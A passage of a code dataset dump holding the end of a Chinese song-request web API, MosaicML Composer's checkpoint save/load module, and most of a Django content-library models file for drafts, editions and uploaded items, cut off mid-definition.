send_qq(dic['qq'],\"emm您的歌曲[{}]审核未通过呢....\\n(´；ω；`)换一首试试嘛~访问 suours.com/music 查看点歌榜单及播放列表，祝您体育节玩得开心！\".format(dic['name']))\n\n return {'status':'ok','data':r,'len':len(r)}\n except:\n return {'status':'error'}\n\n#获取播放音乐\ndef play(dic):\n #try:\n if True:\n sql=\"select * from music where status=5 order by judge_time desc\"\n r=query_sql(sql)\n if len(r): m=r[0]\n else:\n sql=\"select * from music where status=2 and judge_time>={}\".format(int(time.time()-pool_time))\n r=query_sql(sql)\n if len(r)==0: return {'status':'empty'}\n m=r[random.randint(0,len(r)-1)]\n\n sql=\"update music set status=4,play_time={} where id={}\".format(int(time.time()),m['id'])\n query_sql(sql)\n return {'status':'ok','data':m}\n #except:\n # return {'status':'error'}\n \n\n\ndef main(cmd,data):\n if cmd=='submit': submit(data)\n if cmd=='judge': return judge(data)\n if cmd=='query': return query(data)\n if cmd=='play': return play(data)\n\n return {\"status\":\"ok\"}\n\n#submit({'qq':'1525876733','data':{'mid':'S0','name':'2333'}})\n", "sub_path": "api/music.py", "file_name": "music.py", "file_ext": "py", "file_size_in_byte": 4551, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymysql.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "pymysql.escape_string", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 83, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 104, "usage_type": "call"}, {"api_name": "time.time", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "592571128", "text": "# Copyright 2021 MosaicML. All Rights Reserved.\n\nimport logging\nimport os\nimport random\nimport warnings\nfrom typing import Any, Dict, Optional\n\nimport numpy as np\nimport torch\nimport yaml\n\nfrom composer.core import Event, State\nfrom composer.core.types import StateDict\nfrom composer.trainer.ddp import DDP\nfrom composer.trainer.devices.device import Device\nfrom composer.utils import seed_all\n\nlog = logging.getLogger(__name__)\n\n\nclass CheckpointLoader:\n \"\"\"Manager for initializing state and restoring RNG state from existing checkpoints.\n\n Args:\n checkpoint_filepath (str): The path to an existing checkpoint file.\n \"\"\"\n\n def __init__(self, checkpoint_filepath: str):\n self.state_dict = torch.load(checkpoint_filepath, map_location='cpu')\n\n def load_checkpoint(self, state: State):\n \"\"\"Initialize state from the loaded checkpoint's data.\n \"\"\"\n\n state.load_state_dict(self.state_dict[\"state\"])\n self.checkpoint_rng_state = self._get_checkpoint_rng_state(state, self.state_dict[\"rng\"])\n\n if state.seed is not None:\n seed_all(state.seed)\n\n def restore_checkpoint_rng_state(self, state: State, device: Device):\n \"\"\"Restore the state of all RNG objects in this context from the loaded checkpoint's data.\n \"\"\"\n\n if self.checkpoint_rng_state is None:\n return\n\n assert state.world_size == len(\n self.checkpoint_rng_state['torch']\n ), f\"invariant violation: if the rng state is being restored, then\" \\\n \"the world size should be the same as in the checkpoint.\"\n\n torch.set_rng_state(self.checkpoint_rng_state['torch'][state.global_rank])\n device.load_state_dict(self.checkpoint_rng_state['device'][state.global_rank])\n random.setstate(self.checkpoint_rng_state['python'][state.global_rank])\n np.random.set_state(self.checkpoint_rng_state['numpy'][state.global_rank])\n\n self.checkpoint_rng_state = None\n\n def _get_checkpoint_rng_state(self, state: State, checkpoint_rng_state: StateDict) -> Optional[StateDict]:\n original_world_size = len(checkpoint_rng_state[\"torch\"])\n if original_world_size == state.world_size:\n return checkpoint_rng_state\n else:\n warnings.warn(f\"The checkpoint was created with world_size({original_world_size}), \"\n f\"which differs from the current world_size({state.world_size}).\"\n f\"RNG state will not be restored.\")\n\n\nclass Checkpointer:\n \"\"\"Manager for saving state to checkpoint files.\n\n Args:\n checkpoint_folder (str): The path to the folder to store checkpoints in.\n checkpoint_interval (int): The amount of time units to wait between checkpoints.\n checkpoint_interval_unit (str): The unit (`\"ep\"` or `\"it\"`) that\n `checkpoint_interval` should be measured in.\n \"\"\"\n\n def __init__(self, checkpoint_folder: str, checkpoint_interval: int, checkpoint_interval_unit: str):\n if checkpoint_interval_unit.lower() == \"ep\":\n self.save_event = Event.EPOCH_END\n elif checkpoint_interval_unit.lower() == \"it\":\n self.save_event = Event.BATCH_END\n else:\n raise ValueError(f\"Unknown checkpointing interval: {checkpoint_interval_unit}\")\n self.checkpoint_folder = checkpoint_folder\n self.save_interval = checkpoint_interval\n\n def should_checkpoint(self, state: State, event: Event) -> bool:\n \"\"\"Given the current state and event, determine whether a checkpoint needs to be created.\n\n Args:\n state (State): The current State of the trainer.\n event (Event): The current Event being executed.\n \"\"\"\n\n if event != self.save_event:\n return False\n if self.save_event == Event.EPOCH_END:\n return state.epoch % self.save_interval == 0\n if self.save_event == Event.BATCH_END:\n return state.step % self.save_interval == 0\n return False\n\n def save_checkpoint(self, state: State, device: Device, ddp: DDP, config: Optional[Dict[str, Any]] = None) -> None:\n \"\"\"Save the current state to a a new checkpoint file.\n\n Args:\n state (State): The current State of the trainer.\n device (Device): The Device in use by this process.\n ddp (DDP): The DDP engine in use by this trainer.\n config (Optional[Dict[str, Any]]): The hparams used to initialize this trainer, if any.\n \"\"\"\n\n state_dict = {\n 'state': state.state_dict(), # should be the same across all ranks. per-rank state not stored\n 'rng': self._get_rng_state(device=device, ddp=ddp), # stored across all ranks\n }\n if not state.is_rank_zero:\n # only rank 0 saves checkpoints\n # Need the check down here so all the DDP syncs will work for generating the checkpoint\n return\n\n # The trainer will only have _hparams_yaml set if it is instantiated with create_from_hparams\n if config:\n hparams_path = os.path.join(self.checkpoint_folder, \"hparams.yaml\")\n os.makedirs(self.checkpoint_folder, mode=0o775, exist_ok=True)\n config_yaml_str = yaml.dump(config)\n try:\n with open(hparams_path, \"x\") as f:\n # Storing the hparams in a separate file so they can be modified before resuming\n f.write(config_yaml_str)\n except FileExistsError as e:\n with open(hparams_path, \"r\") as f:\n # comparing the parsed hparams to ignore whitespace and formatting differences\n if yaml.safe_load(config_yaml_str) != yaml.safe_load(f):\n raise RuntimeError(f\"The hparams in the existing checkpoint folder {self.checkpoint_folder} \"\n \"differ from those being used in the current training run. \"\n \"Please specify a new checkpoint folder.\") from e\n if self.save_event == Event.EPOCH_END:\n filename = f\"ep{state.epoch}.pt\"\n elif self.save_event == Event.BATCH_END:\n filename = f\"it{state.step}.pt\"\n else:\n raise ValueError(f\"Invalid checkpoint event: {self.save_event}\")\n save_file = os.path.join(self.checkpoint_folder, filename)\n with open(save_file, 'xb') as f:\n torch.save(state_dict, f)\n log.info(f'Trainer checkpoint saved to {save_file}')\n\n def _get_rng_state(self, device: Device, ddp: DDP) -> StateDict:\n rng_state = {\n \"python\": ddp.all_gather_object(random.getstate()),\n \"numpy\": ddp.all_gather_object(np.random.get_state()),\n \"torch\": ddp.all_gather_object(torch.random.get_rng_state()),\n \"device\": ddp.all_gather_object(device.state_dict()),\n }\n # casting the state dict as on non-rank-0, entries will be None-like\n return rng_state\n", "sub_path": "composer/trainer/checkpoint.py", "file_name": "checkpoint.py", "file_ext": "py", "file_size_in_byte": 7032, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 30, "usage_type": "call"}, {"api_name": "composer.core.State", "line_number": 32, "usage_type": "name"}, {"api_name": "composer.utils.seed_all", "line_number": 40, "usage_type": "call"}, {"api_name": "composer.core.State", "line_number": 42, "usage_type": "name"}, {"api_name": "composer.trainer.devices.device.Device", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.set_rng_state", "line_number": 54, "usage_type": "call"}, {"api_name": "random.setstate", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random.set_state", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "composer.core.State", "line_number": 61, "usage_type": "name"}, {"api_name": "composer.core.types.StateDict", "line_number": 61, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "composer.core.Event.EPOCH_END", "line_number": 83, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 83, "usage_type": "name"}, {"api_name": "composer.core.Event.BATCH_END", "line_number": 85, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 85, "usage_type": "name"}, {"api_name": "composer.core.State", "line_number": 91, "usage_type": "name"}, {"api_name": "composer.core.Event", "line_number": 91, "usage_type": "name"}, {"api_name": "composer.core.Event.EPOCH_END", "line_number": 101, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 101, "usage_type": "name"}, {"api_name": "composer.core.Event.BATCH_END", "line_number": 103, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 103, "usage_type": "name"}, {"api_name": "composer.core.State", "line_number": 107, "usage_type": "name"}, {"api_name": "composer.trainer.devices.device.Device", "line_number": 107, "usage_type": "name"}, {"api_name": "composer.trainer.ddp.DDP", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 107, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 129, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 130, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 138, "usage_type": "call"}, {"api_name": "composer.core.Event.EPOCH_END", "line_number": 142, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 142, "usage_type": "name"}, {"api_name": "composer.core.Event.BATCH_END", "line_number": 144, "usage_type": "attribute"}, {"api_name": "composer.core.Event", "line_number": 144, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 150, "usage_type": "call"}, {"api_name": "composer.trainer.devices.device.Device", "line_number": 153, "usage_type": "name"}, {"api_name": "composer.trainer.ddp.DDP", "line_number": 153, "usage_type": "name"}, {"api_name": "random.getstate", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.random.get_state", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 156, "usage_type": "attribute"}, {"api_name": "torch.random.get_rng_state", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.random", "line_number": 157, "usage_type": "attribute"}, {"api_name": "composer.core.types.StateDict", "line_number": 153, "usage_type": "name"}]} +{"seq_id": "596668035", "text": "import os\nimport hashlib\nimport magic\nimport Image\nimport json\nfrom django.db import models, transaction\nfrom django.db.models import Max\nfrom django.utils import timezone\nfrom mptt.models import MPTTModel, TreeManager, TreeForeignKey\nfrom django.core.files import File as DjangoFile\nfrom django.contrib.auth.models import User\n\nfrom ..mimemap.models import MimeType\n\nEDIT_SOURCE_CHOICES = (\n ('edit', 'direct edit'),\n ('upload', 'single file upload'),\n ('zip_upload', 'zipped file set upload'),\n ('sync', 'synchronize with external source'),\n)\n\n\nclass DraftManager(models.Manager):\n def create_draft(self, name, user):\n if not name:\n raise ValueError('The draft\\'s name must be set.')\n if user is None:\n raise ValueError('A user must be supplied to create the draft.')\n draft = self.create(name=name, user=user)\n #create citem paths\n draftpath = CItemPath.objects.create(name='Drafts', draft=draft)\n editionpath = CItemPath.objects.create(name='Editions', draft=draft)\n return draft\n\n\nclass Draft(models.Model):\n user = models.ForeignKey(User, related_name=\"baseclib_draft\")\n name = models.CharField(max_length=1024, unique=True)\n create_time = models.DateTimeField(default=timezone.now)\n editions = models.ManyToManyField(\"Edition\", null=True, blank=True)\n active = models.BooleanField(default=True)\n is_private = models.BooleanField(default=False)\n whitelisted_users = models.ManyToManyField(User)\n\n objects = DraftManager()\n\n def __unicode__(self):\n return self.name\n\n def save(self, *args,**kwargs):\n if self.name is None or self.name == \"\":\n self.name = str(self.user) + \"-%s\" % (timezone.now().strftime(\"%Y-%m-%d_%H:%M:%S\"))\n try:\n if self.id is not None:\n my_path = self.get_citem_path()\n if my_path.name != self.name:\n my_path.name = self.name\n py_path.save()\n except CItemPath.DoesNotExist:\n pass\n super(Draft, self).save(*args,**kwargs)\n\n def copy_files(self, source_ci=None, path=None):\n '''Copy a source ContentItem to myself at a specific path'''\n new_path = CItemPath.objects.create(name=path, draft=self, parent=self.get_citem_path())\n new_content = CItem.objects.create(contentfile=source_ci.contentfile,\n name=source_ci.name,\n description=source_ci.description,\n mime_type=source_ci.mime_type,\n detected_meta_data=source_ci.detected_meta_data,\n dimensions=source_ci.dimensions,\n installed_path=new_path,\n rel_pathname_string=source_ci.rel_pathname_string,\n version=source_ci.version,\n edit=source_ci.edit,\n imported=source_ci.imported)\n try:\n self.draftitems_set.get().citems.add(new_content)\n except DraftItems.DoesNotExist:\n self.draftitems_set.add(DraftItems(draft=self))\n self.draftitems_set.get().citems.add(new_content)\n\n def get_item_count(self):\n # there can be only one\n q = self.draftitems_set.all()\n if q.count() == 0:\n return 0\n return q[0].citems.all().count()\n\n def get_citem_path(self):\n try:\n path_drafts = CItemPath.objects.get(name=\"Drafts\", parent__isnull=True)\n except CItemPath.DoesNotExist:\n path_drafts = CItemPath.objects.create(name=\"Drafts\", parent=None, draft=self)\n try:\n my_path = CItemPath.objects.get(parent=path_drafts, draft=self, name=self.name)\n except CItemPath.DoesNotExist:\n my_path = CItemPath.objects.create(name=self.name, parent=path_drafts, draft=self)\n\n return my_path\n\n def get_pending_imports(self):\n ids = list()\n for edit in self.edit_set.all():\n ids.extend(edit.importitem_set.filter(installed_item__isnull=True).values_list('id', flat=True))\n return ImportItem.objects.filter(id__in=ids)\n\n def get_path_wrapped_items(self):\n my_path = self.get_citem_path()\n path_drafts = my_path.parent\n all_paths = CItemPath.objects.filter(draft=self).exclude(parent=path_drafts)\n leaves = []\n for p in all_paths:\n for leaf in p.citems.all():\n # skip the /Drafts/draftname part\n this_path = '/' + '/'.join(p.to_path().split(\"/\")[3:])\n this_path += \"/\" + leaf.name\n leaf_wrapper = dict(item=leaf,\n this_path=this_path)\n leaves.append(leaf_wrapper)\n return leaves\n\n\n @transaction.commit_on_success\n def make_edition(self, name):\n # make editionitems out of all the items\n edition = Edition.objects.create(name=name,\n source_draft=self)\n\n editionitems = EditionItems.objects.create(edition=edition)\n # no longer allowed to edit this draft, must clone to edit\n self.active=False\n self.save()\n try:\n # there is only one\n ditems = self.draftitems_set.get()\n for item in ditems.citems.all():\n editionitems.citems.add(item)\n except DraftItems.DoesNotExist:\n pass\n # make paths for all the items, both direct and\n # the \"aliases\"\n try:\n all_ed_path = CItemPath.objects.get(name=\"Editions\", parent__isnull=True)\n except CItemPath.DoesNotExist:\n all_ed_path = CItemPath.objects.create(name=\"Editions\", parent=None, draft=self)\n\n ed_path = CItemPath.objects.create(name=name, parent=all_ed_path, draft=self)\n my_path = self.get_citem_path()\n for kid in my_path.get_children():\n kid_path = CItemPath.objects.create(name=kid.name, parent=ed_path, draft=self)\n for kitem in kid.citems.all():\n kid_path.citems.add(kitem)\n self.edition_make_helper(kid, kid_path)\n\n return edition\n def edition_make_helper(self, old_parent, new_parent):\n for kid in old_parent.get_children():\n kid_path = CItemPath.objects.create(name=kid.name, parent=new_parent, draft=self)\n for kitem in kid.citems.all():\n kid_path.citems.add(kitem)\n self.edition_make_helper(kid, kid_path)\n\n\n @transaction.commit_on_success\n def clone(self, name, user=None):\n # make editionitems out of all the items\n if user is None:\n user = self.user\n new_draft = Draft.objects.create(name=name, user=user)\n new_draft.whitelisted_users.add(user)\n [new_draft.whitelisted_users.add(user) for user in self.whitelisted_users.all()]\n new_items = DraftItems.objects.create(draft=new_draft)\n\n # there is only one (but there might be none..)\n if self.draftitems_set.exists():\n ditems = self.draftitems_set.all()[0]\n for item in ditems.citems.all():\n new_items.citems.add(item)\n\n # make paths for all the items, both direct and\n # the \"aliases\"\n my_path = self.get_citem_path()\n path_drafts = my_path.parent\n new_path = CItemPath.objects.create(name=name, parent=path_drafts, draft=new_draft)\n for kid in my_path.get_children():\n kid_path = CItemPath.objects.create(name=kid.name, parent=new_path, draft=new_draft)\n for kitem in kid.citems.all():\n kid_path.citems.add(kitem)\n self.clone_helper(kid, kid_path, new_draft)\n return new_draft\n\n def clone_helper(self, old_parent, new_parent, new_draft):\n for kid in old_parent.get_children():\n kid_path = CItemPath.objects.create(name=kid.name, parent=new_parent, draft=new_draft)\n for kitem in kid.citems.all():\n kid_path.citems.add(kitem)\n self.edition_make_helper(kid, kid_path)\n\n class Meta:\n app_label = 'mcms'\n\n\nclass DraftItems(models.Model):\n draft = models.ForeignKey(Draft, unique=True)\n citems = models.ManyToManyField('CItem', null=True, blank=True)\n\n def __unicode__(self):\n return self.draft.name\n\n class Meta:\n app_label = 'mcms'\n\n\nclass Edit(models.Model):\n user = models.ForeignKey(User, related_name=\"baseclib_edit\")\n create_time = models.DateTimeField(default=timezone.now)\n source = models.CharField(max_length=30, choices=EDIT_SOURCE_CHOICES, default=\"edit\")\n draft = models.ForeignKey(Draft)\n active = models.BooleanField(default=True)\n\n def __unicode__(self):\n return \"%s-%d\" % (self.user, self.id)\n\n class Meta:\n app_label = 'mcms'\n\n\nclass CItemManager(models.Manager):\n\n @transaction.commit_on_success\n def install_imported(self, user, imported, update=True):\n \"\"\"\n Creates a :class:`CItem` from an :class:`ImportItem` at the requested\n path in the Content Library's logical filesystem.\n\n This involves the following steps:\n\n 1. Determine the path object where we want the new content item to be\n installed.\n 2. If the path does not exist, create it via\n :func:`CItemPath.objects.create_from_path`.\n 3. Determine if we're replacing an existing content item. If so,\n and update was not passed or passed as ``True``, update it.\n Otherwise, install it.\n\n Args:\n :attr:`user` (:class:`django.contrib.auth.models.User`): User\n installing the content item\n\n :attr:`imported` (:class:`ImportItem`): The uploaded content to\n install or update at its :attr:`requested_path`.\n\n :attr:`update` (``bool``, default: ``True): Whether to update an\n existing item if one is found at the :class:`ImportItem` instance's\n :attr:`requested_path`. If an existing :class:`CItem` is found at\n the requested path but :attr:`update` is passed as ``False``, an\n ``Exception`` will be raised.\n\n Returns:\n The :class:`CItem` created by this method.\n \"\"\"\n draft = imported.edit.draft\n if imported.requested_path is None:\n imported.requested_path = \"/\"\n imported.save()\n path_prefix = os.path.join('/Drafts', draft.name)\n rel_path = imported.requested_path\n rel_full_path = os.path.join(rel_path, imported.name)\n install_path_str = ''.join([path_prefix, rel_path]).rstrip('/')\n install_path = CItemPath.objects.find_by_path(install_path_str, draft)\n if not install_path:\n install_path = CItemPath.objects.create_from_path(\n user, install_path_str, draft)\n imported_name = imported.contentfile.path\n just_path,tail = os.path.split(imported_name)\n\n # We can have multiple items by the same name in the same draft, if\n # they've uploaded multiple versions of it.\n #\n # XXX: I believe the kwarg, \"citempath\" in the line below, should\n # actually be \"installed_path\". Anyone care to confirm?\n # - Forrest\n existing = CItem.objects.filter(name=imported.name, citempath=install_path)\n # If we have existing items, they all share the same installed_path\n # so we can safely take the last one\n if existing:\n existing_item = existing.latest('version')\n\n if not update:\n raise Exception('Must specify update=True to replace item %s' % \\\n existing_item.to_path())\n\n existing_path = install_path\n new_path = None\n path = existing_path\n\n else:\n existing_path = None\n new_path = install_path\n path = new_path\n\n # find all versions of the item identifed by the relative path,\n # which is the libaray logical full id for the item, and change\n # the version number so that we have a version history for the\n # item which is cross draft.\n res = self.filter(rel_pathname_string=rel_full_path).aggregate(Max('version'))\n version = res['version__max']\n if version is None:\n version = 1\n else:\n version += 1\n\n item = self.create(name=imported.name,\n description=imported.description,\n mime_type=imported.mime_type,\n detected_meta_data=imported.detected_meta_data,\n dimensions = imported.dimensions,\n rel_pathname_string=rel_full_path,\n installed_path=path,\n contentfile=DjangoFile(open(imported_name), tail),\n edit=imported.edit,\n imported=imported,\n version=version)\n imported.installed_item=item\n imported.save()\n try:\n draft_items = DraftItems.objects.get(draft=draft)\n except DraftItems.DoesNotExist:\n draft_items = DraftItems.objects.create(draft=draft)\n if existing_path:\n # If the item will live at a existing path location, then\n # we need to remove the old item and replace it with the\n # new in both the existing path and the draft item lists\n existing_path.citems.remove(existing_item)\n draft_items.citems.remove(existing_item)\n existing_path.citems.add(item)\n else:\n # If the path/item combination is new for this draft, then\n # we just add the item to path\n new_path.citems.add(item)\n draft_items.citems.add(item)\n\n return item\n\n def find_by_path(self, path, draft=None):\n last = None\n path_data = path_drafter(path, draft)\n draft = path_data['draft']\n # skip the leading /\n tpath = path_data['full_path'][1:]\n just_path, tail = os.path.split(tpath)\n pitem = CItemPath.objects.find_by_path(just_path, draft)\n if pitem is None:\n return None\n for citem in pitem.citems.all():\n if citem.name == tail:\n return citem\n return None\n\ndef path_drafter(path, draft=None):\n \"\"\"\n Returns:\n ``dict`` with the following keys:\n :attr:`full_path`: A string representing a path, starting with\n \"/Drafts/[Draft Name]/\"\n\n :attr:`rel_path`: A relative version of the full path above, minus\n the leading slash, draft and draft name portions. Example:\n \"foo/bar\".\n\n :attr:`draft`: The ``mcms.baseclib.models.Draft`` instance\n represented by the `full_path` key of this `dict`.\n \"\"\"\n tpath = path\n tmp = tpath.split('/')\n if tpath.startswith('/Draft'):\n tpath = tpath[1:]\n if draft:\n if tmp[2] != draft.name:\n raise Exception('invalid path %s for draft %s' % (path, draft.name))\n else:\n draft_name = tmp[2]\n try:\n draft = Draft.objects.get(name=draft_name)\n except Draft.DoesNotExist:\n raise Exception('invalid path %s for draft %s does not exist' % (path, tpath_2))\n else:\n if draft is None:\n raise Exception('invalid path %s, must be full path with /Drafts or called with draft' % path)\n if tpath.startswith('/'):\n tpath = tpath[1:]\n tpath = \"Drafts/\" + draft.name + \"/\" + tpath\n rel_path = \"/\".join(tpath.split(\"/\")[2:])\n full_path= \"/\" + tpath\n res = dict(full_path=full_path,\n rel_path=rel_path,\n draft=draft)\n return res\n\nclass CItem(models.Model):\n contentfile = models.FileField(upload_to=\"libuploads/%Y/%m/%d\")\n name = models.CharField(max_length=50)\n description = models.CharField(max_length=1024, null=True)\n mime_type = models.CharField(max_length=50)\n detected_meta_data = models.CharField(max_length=1024)\n dimensions = models.CharField(max_length=50, null=True, blank=True)\n installed_path = models.ForeignKey(\"CItemPath\")\n # for easy cross draft search for same logical item, includes item name\n rel_pathname_string = models.CharField(max_length=4096, db_index=True)\n version = models.IntegerField(default=1)\n # this is the edit at which it was created, may be part of multiple drafts\n # see draft item for that\n edit = models.ForeignKey(Edit)\n imported = models.ForeignKey(\"ImportItem\", null=True, blank=True)\n objects = CItemManager()\n\n def can_delete(self):\n pass\n def __unicode__(self):\n msg = str(self.id)\n if self.description:\n msg += \" \" + self.description\n return msg\n\n def get_all_paths(self, draft):\n res = []\n for path in self.citempath_set.filter(draft=draft):\n if path == self.installed_path:\n primary = True\n else:\n primary = False\n full_path_name = path.to_path() + \"/\" + self.name\n if full_path_name.startswith(\"/Editions\"):\n continue\n draft_path_name = path.draft_path() + \"/\" + self.name\n spec = dict(full_path_name=full_path_name,\n draft_path_name=draft_path_name,\n primary=primary,\n path_item=path)\n res.append(spec)\n return res\n\n def full_path(self):\n return self.installed_path.to_path() + \"/\" + self.name\n\n def draft_path_only(self):\n # skip level one \"Drafts\" and two \"draft.name\"\n tmp = (self.installed_path.to_path() + \"/\" + self.name).split(\"/\")\n return \"/\" + '/'.join(tmp[3:-1])\n\n def draft_path(self):\n # skip level one \"Drafts\" and two \"draft.name\"\n tmp = (self.installed_path.to_path() + \"/\" + self.name).split(\"/\")\n return \"/\" + '/'.join(tmp[3:])\n\n def ajax_json_data(self, draft_path=False):\n try:\n dims = json.loads(self.dimensions)\n except TypeError:\n dims = None\n try:\n meta = json.loads(self.detected_meta_data)\n except TypeError:\n meta = None\n except ValueError:\n meta = None\n exten = None\n try:\n mt = MimeType.objects.get(name=self.mime_type)\n if mt.mimeextension_set.all().count > 0:\n exten = mt.mimeextension_set.all()[0].extension\n except MimeType.DoesNotExist:\n pass\n if exten is None:\n exten = os.path.splitext(self.contentfile.name)[1]\n if draft_path:\n path = self.draft_path()\n else:\n path = self.full_path()\n res = dict(name=self.name,\n id=self.id,\n description=self.name,\n version=self.version,\n path=self.full_path(),\n dimensions=dims,\n mimetype=self.mime_type,\n detected_meta_data=meta,\n extension=exten,\n url=self.contentfile.url,)\n return res\n\n def ajax_json(self, draft_path=False):\n return json.dumps(self.ajax_json_data(draft_path))\n\n class Meta:\n app_label = 'mcms'\n unique_together = [('name','installed_path','version',),]\n\n\ndef file_hash(path):\n \"\"\"\n Generate an MD5 hash of the file passed in.\n \"\"\"\n with open(path, 'rb') as handle:\n hasher = hashlib.md5()\n while True:\n data = handle.read(8192)\n if not data:\n break\n hasher.update(data)\n return hasher.hexdigest()\n\n\nclass ImportItem(models.Model):\n contentfile = models.FileField(upload_to=\"libuploads/pending/%Y/%m/%d\")\n name = models.CharField(max_length=50)\n description = models.CharField(max_length=1024, null=True, blank=True)\n requested_path = models.TextField(null=True, blank=True)\n mime_type = models.CharField(max_length=50, null=True, blank=True)\n detected_meta_data = models.CharField(max_length=1024, null=True, blank=True)\n dimensions = models.CharField(max_length=50, null=True, blank=True)\n installed_item = models.ForeignKey(CItem, null=True, blank=True, db_index=True)\n edit = models.ForeignKey(Edit)\n md5_hash = models.CharField(max_length=128, null=True, blank=True)\n\n def __unicode__(self):\n msg = str(self.id)\n if self.description:\n msg += \" \" + self.description\n return msg\n\n def full_path(self):\n return self.requested_path + \"/\" + self.name\n\n def detect_type(self):\n if self.mime_type is None:\n text = magic.from_file(self.contentfile.path)\n mime = magic.from_file(self.contentfile.path, magic.MAGIC_MIME)\n if mime.startswith(\"image\"):\n im = Image.open(self.contentfile.path)\n image_meta = im.info\n meta = dict()\n meta['size'] = im.size\n meta['format'] = im.format\n meta['mode'] = im.mode\n meta = json.dumps(meta)\n dim = {'width': im.size[0],\n 'height': im.size[1]}\n else:\n dim = None\n meta = text\n self.mime_type = mime\n self.detected_meta_data = meta\n self.dimensions = json.dumps(dim)\n self.save()\n\n if self.dimensions:\n dim = json.loads(self.dimensions)\n else:\n dim = None\n\n if not self.md5_hash:\n self.md5_hash = file_hash(self.contentfile.path)\n\n return dict(mime_type=self.mime_type,\n description=self.detected_meta_data,\n dimensions=dim)\n\n def detect_type_display(self):\n data = self.detect_type()\n res = data['mime_type']\n if data['mime_type'].startswith('image'):\n dim = data['dimensions']\n res += \" %dx%d\" % (dim['width'], dim['height'])\n else:\n res += \" \" + self.detected_meta_data\n return res\n\n class Meta:\n app_label = 'mcms'\n\n\nclass CItemPathManager(TreeManager):\n \"\"\"\n Provides custom model manager methods for working with :class:`CItemPath`\n instances.\n\n When working with :class:`CItemPath` instances, it is important to note\n that string representations of the trees of ``CItemPath`` instances that form\n full paths in the Content Library's logical filesystem may be either\n \"absolute\" or \"relative\" according to the following definitions:\n\n Absolute Path:\n The string representation of a ``CItemPath`` that includes the path\n from the root of the Content Library's logical filesytem to the\n ``Draft`` instance with which the path is associated.\n\n Relative Path:\n The string representation of a ``CItemPath`` that does **not** include\n the path from the root of the Content Library's logical filesytem to\n the ``Draft`` instance with which the path is associated.\n\n The string representation for Relative Paths still begin with a forward\n slash, which is why they are sometimes referred to in the code as\n \"relative full paths\".\n\n Given a ``Draft`` named \"foo\" and subpaths named \"bar\" and \"baz\",\n therefore, here are the string representations of both the absolute and\n relative paths to \"baz\":\n\n Absolute Path: \"/Drafts/foo/bar/baz\"\n Relative Path: \"/bar/baz\"\n \"\"\"\n def create_from_path(self, user, path, draft, edit=None):\n \"\"\"\n Creates the :class`CItemPath` instance and all necessary parent\n :class:`CItemPath` instances specified by the \"absolute\" or \"relative\"\n :attr:`path` string and the associated attr:`draft`, and returns the\n leaf :class:`CItemPath` instance.\n\n If the specified path already exists, it will simply be returned.\n \"\"\"\n last = None\n path_data = path_drafter(path, draft)\n # Skip leading and trailing forward slashes\n tpath = path_data['rel_path'].strip('/')\n draft_path = draft.get_citem_path()\n last = draft_path\n if tpath:\n for part in tpath.split(\"/\"):\n try:\n current = self.get(name=part, parent=last)\n except CItemPath.DoesNotExist:\n if edit is None:\n edit = Edit.objects.create(\n user=user, source='manual', draft=draft)\n current = self.create(name=part, parent=last, draft=draft)\n CItemPathChange.objects.create(\n old=None, new=current, edit=edit)\n last = current\n return last\n\n def find_by_path(self, path, draft=None):\n \"\"\"\n Returns the :class:`CItemPath` instance specified by the requested\n \"absolute\" or \"relative\" :attr:`path` string.\n\n If a \"relative\" :attr:`path` is given, its associated :class:`Draft`\n instance must also be specified.\n \"\"\"\n last = None\n path_data = path_drafter(path, draft)\n draft = path_data['draft']\n # Skip leading and trailing forward slashes\n tpath = path_data['full_path'].strip('/')\n for part in tpath.split('/'):\n try:\n if last is None:\n current = self.get(name=part, parent__isnull=True)\n else:\n current = self.get(name=part, parent=last)\n except CItemPath.DoesNotExist:\n return None\n last = current\n return last\n\n\nclass CItemPath(MPTTModel):\n name = models.CharField(max_length=50)\n parent = TreeForeignKey('self', null=True, blank=True, related_name='children')\n citems = models.ManyToManyField(CItem, blank=True, null=True)\n draft = models.ForeignKey(Draft)\n objects = CItemPathManager()\n\n def __unicode__(self):\n return self.name\n\n def 